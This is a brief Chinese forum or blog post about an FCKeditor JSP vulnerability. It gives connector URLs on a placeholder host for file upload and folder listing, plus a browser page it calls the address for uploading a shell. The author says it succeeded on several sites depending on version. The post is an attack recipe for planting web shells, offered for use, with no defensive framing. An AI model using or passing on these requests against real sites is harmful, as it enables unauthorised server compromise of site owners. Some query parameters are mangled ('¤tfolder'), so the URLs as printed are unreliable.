我要评论
fckeditor的jsp版漏洞
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=fileupload&type=image¤tfolder=%2f
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=getfoldersandfiles&type=image¤tfolder=%2f
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.
- 站内搜索
发表评论